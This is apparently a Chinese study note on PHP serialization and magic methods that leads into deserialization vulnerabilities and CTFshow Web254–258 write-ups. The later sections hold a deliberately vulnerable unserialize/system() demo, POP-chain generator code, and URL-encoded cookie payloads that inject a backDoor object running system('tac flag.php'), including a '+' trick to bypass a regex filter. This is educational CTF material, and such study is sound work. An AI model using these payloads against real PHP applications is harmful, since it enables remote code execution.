目录
PHP-DEMO1-序列化和反序列化
序列化操作 - 即类型转换
序列化案例
PHP-DEMO2-魔术方法触发规则
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //把对象当作函数调用时触发
__toString(): //把对象当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)
__unset(): //在不可访问的属性上使用unset()时触发
PHP-DEMO3-反序列化漏洞产生
PHP-CTFSHOW-POP触发链构造
Web254-对象引用执行逻辑
Web255-反序列化变量修改
Web256-反序列化参数修改
Web257-反序列化参数修改&对象调用逻辑
Web258-反序列化参数修改&对象调用逻辑&正则
知识点:
1、PHP-反序列化-应用&识别&函数
2、PHP-反序列化-魔术方法&触发规则
3、PHP-反序列化-联合漏洞&POP链构造
在实战情况下,是不需要知道这些具体分析的,都是利用工具去扫一些框架爆出的反序列话漏洞直接利用即可。学这些具体分析就是为了以后往漏洞挖掘方向发展或者打CTF比赛及面试会被问。
PHP-DEMO1-序列化和反序列化
序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)
在PHP中,调用serialize()函数时,会将对象的属性进行序列化,但不会序列化对象的方法(函数)。
当调用serialize()函数时,它会将对象的属性转换为字符串表示,并存储在序列化的结果中。这样可以将对象保存在文件中、通过网络传输或在不同的请求之间传递。然而,对象的方法(函数)不会被序列化。这是因为方法(函数)在PHP中通常是定义在类中,而类是对象的模板。当对象被反序列化时,PHP会根据对象所属的类重新创建对象,并将对象的属性值填充到相应的属性中。方法(函数)则是与类关联的,因此不需要被序列化和存储。需要注意的是,当使用反序列化函数unserialize()将序列化的数据还原为对象时,被反序列化的类必须在反序列化之前先定义,否则会出现错误。因此,在进行反序列化操作时,确保对象所属的类已经被定义是非常重要的。
序列化操作 - 即类型转换
PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
PHP对象转换为字符串格式
serialize() //将对象转换成一个字符串unserialize() //将字符串还原成一个对象
序列化案例
代码如下:
<?phpheader("Content-type: text/html; charset=utf-8");class user{ public $name='xiaodi'; public $sex='man'; public $age=31;}$demo=new user();$s=serialize($demo);//序列化$u=unserialize($s);//反序列化echo $s.'<br>';var_dump($u);
对象序列化后的数据:对象转为字符串,便于传输数据
序列化数据反序列化:字符串格式数据转换为对象
PHP-DEMO2-魔术方法触发规则
常见的魔术方法:
__construct(): //当对象new的时候会自动调用__destruct()://当对象被销毁时会被自动调用__sleep(): //serialize()执行时被自动调用__wakeup(): //unserialize()时会被自动调用__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用__toString(): //把类当作字符串使用时触发__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。__callStatic(): //在静态上下文中调用不可访问的方法时触发__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。__isset(): //在不可访问的属性上调用isset()或empty()触发__unset(): //在不可访问的属性上使用unset()时触发__set_state(),调用var_export()导出类时,此静态方法会被调用__clone(),当对象复制完成时调用__autoload(),尝试加载未定义的类__debugInfo(),打印所需调试信息
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
代码如下:
<?phpheader("Content-type: text/html; charset=utf-8");//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destructclass Test{ public $name; public $age; public $string; // __construct:实例化对象时被调用.其作用是拿来初始化一些值。 public function __construct($name, $age, $string){ echo "__construct 初始化"."<br>"; } // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。 /* * 当对象销毁时会调用此方法 * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁 */ function __destruct(){ echo "__destruct 类执行完毕"."<br>"; }}// 主动销毁$test = new Test("xiaodi",31, 'Test String');// 使用unset函数可以立即释放一个变量的内存,使其成为不可访问和不可用的状态。unset($test);echo '第一种执行完毕'.'<br>';echo '----------------------<br>';//程序结束自动销毁$test = new test("xiaodi",31, 'Test String');echo '第二种执行完毕'.'<br>';?>
结果如下:
__sleep(): //serialize()执行时被自动调用
代码如下:
<?php//__sleep():serialize之前被调用,可以指定要序列化的对象属性。class Test{ public $name; public $age; public $string; // __construct:实例化对象时被调用.其作用是拿来初始化一些值。 public function __construct($name, $age, $string){ echo "__construct 初始化"."<br>"; $this->name = $name; $this->age = $age; $this->string = $string; } // __sleep() :serialize之前被调用,可以指定要序列化的对象属性 public function __sleep(){ echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>"; // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值 return array('name', 'age','string'); }}$a = new Test("xiaodi",31, 'good teacher');echo serialize($a);?>
结果如下:
__wakeup(): //unserialize()时会被自动调用
代码如下:
<?php//__wakeup:反序列化恢复对象之前调用该方法class Test{ public $sex; public $name; public $age; public function __construct($name, $age, $sex){ echo "__construct被调用!<br>"; } public function __wakeup(){ echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>"; }}$person = new Test('xiaodi',31,'男');$a = serialize($person);unserialize($a);?>
结果如下:
__invoke(): //把对象当作函数调用时触发
代码如下:
<?php//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。class Test{ // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用 public function __invoke($param1, $param2, $param3){ echo "这是一个对象<br>"; // var_dump函数是一个用于调试的函数,它将输出给定变量的类型、值和其他相关信息 var_dump($param1,$param2,$param3); }}$a = new Test();//将对象当做函数调用 触发__invoke魔术方法$a('xiaodi',31,'男');?>
结果如下:
__toString(): //把对象当作字符串使用时触发
代码如下:
<?php //__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法class Test{ public $variable = 'good is string'; public function good(){ echo $this->variable . '<br />'; } // 在对象当做字符串的时候会被调用 public function __toString(){ return '__toString魔术方法被执行!'; }}$a = new Test();// 输出对象a就是把a当作字符串输出,触发toString()echo $a;?>
结果如下:
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
代码如下:
<?php//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。class Test{ public function good($number,$string){ echo '存在good方法'.'<br>'; echo $number.'---------'.$string.'<br>'; } // 当调用类中不存在的方法时,就会调用__call(); public function __call($method,$args){ echo '不存在'.$method.'方法'.'<br>'; var_dump($args); }}$a = new Test();$a->good(1,'xiaodisec');// 不存在xiaodi方法 触发__call魔术方法$b = new Test();$b->xiaodi(899,'no');?>
结果如下:
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
代码如下:
<?php//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数class Test { public $n=1233234; // __get():访问不存在的成员变量时调用 public function __get($name){ echo '__get 不存在成员变量'.$name.'<br>'; }}$a = new Test();// 存在成员变量n,所以不调用__getecho $a->n;echo '<br>';// 不存在成员变量spaceman,所以调用__getecho $a->xiaodi;?>
结果如下:
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
代码如下:
<?php//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。class Test{ public $noway=0; // __set():设置对象不存在的属性或无法访问(私有)的属性时调用 /* __set($name, $value) * 用来为私有成员属性设置的值 * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。 * */ public function __set($name,$value){ echo '__set 不存在成员变量 '.$name.'<br>'; echo '即将设置的值 '.$value."<br>"; $this->noway=$value; } public function Get(){ echo $this->noway; }}$a = new Test();// 访问noway属性时调用,并设置值为899$a->noway = 123;// 经过__set方法的设置noway的值为899$a->Get();echo '<br>';// 设置对象不存在的属性xiaodi$a->xiaodi = 31;// 经过__set方法的设置noway的值为31$a->Get();?>
结果如下:
__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)
代码如下:
<?php//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用class Person{ public $sex; //公共的 private $name; //私有的 private $age; //私有的 public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; } // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。 public function __isset($content){ echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>"; echo "123<br>"; return isset($this->$content); }}$person = new Person("xiaodi", 31,'男');// public 成员echo ($person->sex),"<br>";// isset函数用于检测一个变量是否已经设置并且不为null。echo isset($person->name),"<br>"; // 输出为123,1echo empty($person->sex),"<br>"; //访问public,不会触发-isset()// private 成员echo isset($person->name),"<br>";echo empty($person->age),"<br>";?>
结果如下:
__unset(): //在不可访问的属性上使用unset()时触发
代码如下:
<?php//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数class Person{ public $sex; private $name; private $age; public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; } // __unset():销毁对象的某个属性时执行此函数 public function __unset($content) { echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>"; //echo isset($this->$content)."<br>"; }}$person = new Person("xiaodi", 31,"男"); // 初始赋值unset($person->sex);//不调用 属性共有unset($person->name);//调用 属性私有 触发__unsetunset($person->age);//调用 属性私有 触发__unset?>
结果如下:
总代码如下:
<?phpheader("Content-type: text/html; charset=utf-8");__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct//class Test{// public $name;// public $age;// public $string;// // __construct:实例化对象时被调用.其作用是拿来初始化一些值。// public function __construct($name, $age, $string){// echo "__construct 初始化"."<br>";// }// // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。// /*// * 当对象销毁时会调用此方法// * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁// */// function __destruct(){// echo "__destruct 类执行完毕"."<br>";// }//}// 主动销毁//$test = new Test("xiaodi",31, 'Test String'); 使用unset函数可以立即释放一个变量的内存,使其成为不可访问和不可用的状态。//unset($test);//echo '第一种执行完毕'.'<br>';//echo '----------------------<br>';//程序结束自动销毁//$test = new test("xiaodi",31, 'Test String');//echo '第二种执行完毕'.'<br>';__sleep():serialize之前被调用,可以指定要序列化的对象属性。//class Test{// public $name;// public $age;// public $string;//// // __construct:实例化对象时被调用.其作用是拿来初始化一些值。// public function __construct($name, $age, $string){// echo "__construct 初始化"."<br>";// $this->name = $name;// $this->age = $age;// $this->string = $string;// }//// // __sleep() :serialize之前被调用,可以指定要序列化的对象属性// public function __sleep(){// echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";// // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值// return array('name', 'age','string');// }//}////$a = new Test("xiaodi",31, 'good teacher');//echo serialize($a);__wakeup:反序列化恢复对象之前调用该方法//class Test{// public $sex;// public $name;// public $age;//// public function __construct($name, $age, $sex){// echo "__construct被调用!<br>";// }//// public function __wakeup(){// echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";// }//}////$person = new Test('xiaodi',31,'男');//$a = serialize($person);//unserialize($a);__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。//class Test{// // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用// public function __invoke($param1, $param2, $param3){// echo "这是一个对象<br>";// // var_dump函数是一个用于调试的函数,它将输出给定变量的类型、值和其他相关信息// var_dump($param1,$param2,$param3);// }//}////$a = new Test();将对象当做函数调用 触发__invoke魔术方法//$a('xiaodi',31,'男');__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法//class Test//{// public $variable = 'good is string';//// public function good(){// echo $this->variable . '<br />';// }//// // 在对象当做字符串的时候会被调用// public function __toString(){// return '__toString魔术方法被执行!';// }//}////$a = new Test(); 输出对象a就是把a当作字符串输出,触发toString()//echo $a;__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。//class Test{//// public function good($number,$string){// echo '存在good方法'.'<br>';// echo $number.'---------'.$string.'<br>';// }//// // 当调用类中不存在的方法时,就会调用__call();// public function __call($method,$args){// echo '不存在'.$method.'方法'.'<br>';// var_dump($args);// }//}////$a = new Test();//$a->good(1,'xiaodisec'); 不存在xiaodi方法 触发__call魔术方法//$b = new Test();//$b->xiaodi(899,'no');__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数//class Test {// public $n=1233234;//// // __get():访问不存在的成员变量时调用// public function __get($name){// echo '__get 不存在成员变量'.$name.'<br>';// }//}////$a = new Test(); 存在成员变量n,所以不调用__get//echo $a->n;//echo '<br>'; 不存在成员变量spaceman,所以调用__get//echo $a->xiaodi;__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。//class Test{// public $noway=0;//// // __set():设置对象不存在的属性或无法访问(私有)的属性时调用// /* __set($name, $value)// * 用来为私有成员属性设置的值// * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。// * *///// public function __set($name,$value){// echo '__set 不存在成员变量 '.$name.'<br>';// echo '即将设置的值 '.$value."<br>";// $this->noway=$value;// }//// public function Get(){// echo $this->noway;// }//}////$a = new Test(); 访问noway属性时调用,并设置值为899//$a->noway = 123; 经过__set方法的设置noway的值为899//$a->Get();//echo '<br>'; 设置对象不存在的属性xiaodi//$a->xiaodi = 31; 经过__set方法的设置noway的值为31//$a->Get();__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用//class Person{// public $sex; //公共的// private $name; //私有的// private $age; //私有的//// public function __construct($name, $age, $sex){// $this->name = $name;// $this->age = $age;// $this->sex = $sex;// }//// // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。// public function __isset($content){// echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";// echo "123<br>";// return isset($this->$content);// }//}////$person = new Person("xiaodi", 31,'男'); public 成员//echo ($person->sex),"<br>"; isset函数用于检测一个变量是否已经设置并且不为null。//echo isset($person->name),"<br>"; // 输出为123,1//echo empty($person->sex),"<br>"; //访问public,不会触发-isset() private 成员//echo isset($person->name),"<br>";//echo empty($person->age),"<br>";__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数//class Person{// public $sex;// private $name;// private $age;//// public function __construct($name, $age, $sex){// $this->name = $name;// $this->age = $age;// $this->sex = $sex;// }//// // __unset():销毁对象的某个属性时执行此函数// public function __unset($content) {// echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";// //echo isset($this->$content)."<br>";// }//}////$person = new Person("xiaodi", 31,"男"); // 初始赋值//unset($person->sex);//不调用 属性共有//unset($person->name);//调用 属性私有 触发__unset//unset($person->age);//调用 属性私有 触发__unset?>
PHP-DEMO3-反序列化漏洞产生
漏洞原理:
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。测试代码:
<?phpclass B{ public $cmd='ipconfig'; public function __destruct(){ system($this->cmd); }}//函数引用,无对象创建触发魔术方法unserialize($_GET['x']);?>
构造POP链,在构造对象时,只需要考虑成员属性(变量)即可
<?phpclass B{ public $cmd = 'ver'; }$x = new B();echo serialize($x);?>
利用paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}
也可以跟换别的命令:
总体代码如下:
<?phpclass B{ public $cmd='ipconfig'; public function __destruct(){ // 对象销毁调用,即该脚本<?php执行结束时,触发 system($this->cmd); }}//函数引用,无对象创建触发魔术方法unserialize($_GET['x']);//?x=O:1:"B":0:{}//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}//POP链构造//class B{// public $cmd = 'ver'; // 值我们自己规定,序列化后就是我们的值// }////$x = new B();//echo serialize($x);//?x=O:1:"B":0:{}//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}?>
PHP-CTFSHOW-POP触发链构造
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化常见起点:
反序列化常见跳板:
反序列化常见重点:
pop链构造核心:代码中有用的留下,没用的删掉
Web254-对象引用执行逻辑
payload:username=xxxxxx&password=xxxxxx
Web255-反序列化变量修改
PHP在线执行:https://www.bejson.com/runcode/php/
根据验证逻辑,使用正确账号密码,序列化对象ctfShowUser , isvip = True;
// POP链CODE:// 1、不修改代码的用户密码<?phpclass ctfShowUser{ public $isVip=true;}$a=new ctfShowUser();echo urlencode(serialize($a));?>
生成对象的反序列化
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
URL解码一下:
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
再login()验证逻辑中,username,password 是从Get请求中提取的值与对象里的值做比对
POP链CODE:2、修改代码的用户密码<?phpclass ctfShowUser{ public $username='test'; public $password='test123'; public $isVip=true;}$a=new ctfShowUser();echo urlencode(serialize($a));?>
Get:username=test&password=test123
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
URL解码:
O:11:"ctfShowUser":3:{s:8:"username";s:4:"test";s:8:"password";s:7:"test123";s:5:"isVip";b:1;}
补充一下:
error_reporting(0):这是一个PHP错误报告级别设置的语句。通过将参数设置为0,即禁用错误报告,PHP将不会显示任何错误信息。这在某些情况下可能是有用的,例如在生产环境中隐藏敏感信息或减少不必要的输出。highlight_file(__FILE__):这是一个PHP函数调用,用于将当前文件的源代码以语法高亮的形式输出到浏览器。__FILE__ 是一个魔术常量,表示当前所执行的文件的绝对路径。highlight_file() 函数将读取该文件的内容,并使用颜色突出显示代码的不同部分,以增强可读性。
Web256-反序列化参数修改
POP链CODE:<?phpclass ctfShowUser{ public $username='test'; public $password='test1'; public $isVip=true;}$a=new ctfShowUser();echo urlencode(serialize($a));?>
GET:username=test&password=test1
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Web257-反序列化参数修改&对象调用逻辑
思路:敏锐发现 backDoor.getInfo() 由RCE,但是验证逻辑无法调用,观察到魔术方法 __destruct() 可以调用 getInfo() 函数。
当我们说PHP是一种弱类型语言时,意味着PHP在变量的类型上相对灵活,不需要在声明变量时显式指定其类型。以下是关于PHP弱类型的一些特点:
隐式类型转换:PHP可以自动进行类型转换,例如将字符串自动转换为数值类型,或将布尔值自动转换为整数。这样的隐式类型转换可以在一定程度上简化代码,但也可能导致意外的结果。动态类型:PHP变量的类型可以在运行时根据赋值操作而改变。例如,一个变量可以先存储一个整数值,然后再存储一个字符串值,而无需显式声明类型。弱类型比较:在PHP中,可以进行不同类型之间的比较操作,例如将一个字符串与一个整数进行比较。这种比较会自动进行类型转换,根据具体情况确定比较结果。隐式类型转换的注意事项:尽管弱类型可以带来便利,但也需要注意一些潜在的问题。隐式的类型转换可能导致错误或意外的结果,尤其是在处理复杂的逻辑和算术运算时。也就是说类里的数据类型不是严格的,那么可以构造 backDoor 类对象作为 ctfshowUser 的成员变量,当代码逻辑执行完后,销毁 ctfShowUser 后就会调用到 backDoor.getInfo()方法。
// POP链CODE:<?phpclass ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); }}class backDoor{ public $code='system("tac flag.php");'; }echo urlencode(serialize(new ctfShowUser));?>
序列化数据:
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
URL解码
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}
Web258-反序列化参数修改&对象调用逻辑&正则
// POP链CODE:<?phpclass ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); }}class backDoor{ public $code="system('tac flag.php');";}$a=serialize(new ctfShowUser());$b=str_replace(':11',':+11',$a);$c=str_replace(':8',':+8',$b);echo urlencode($c);?>
GET:username=123&password=123
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D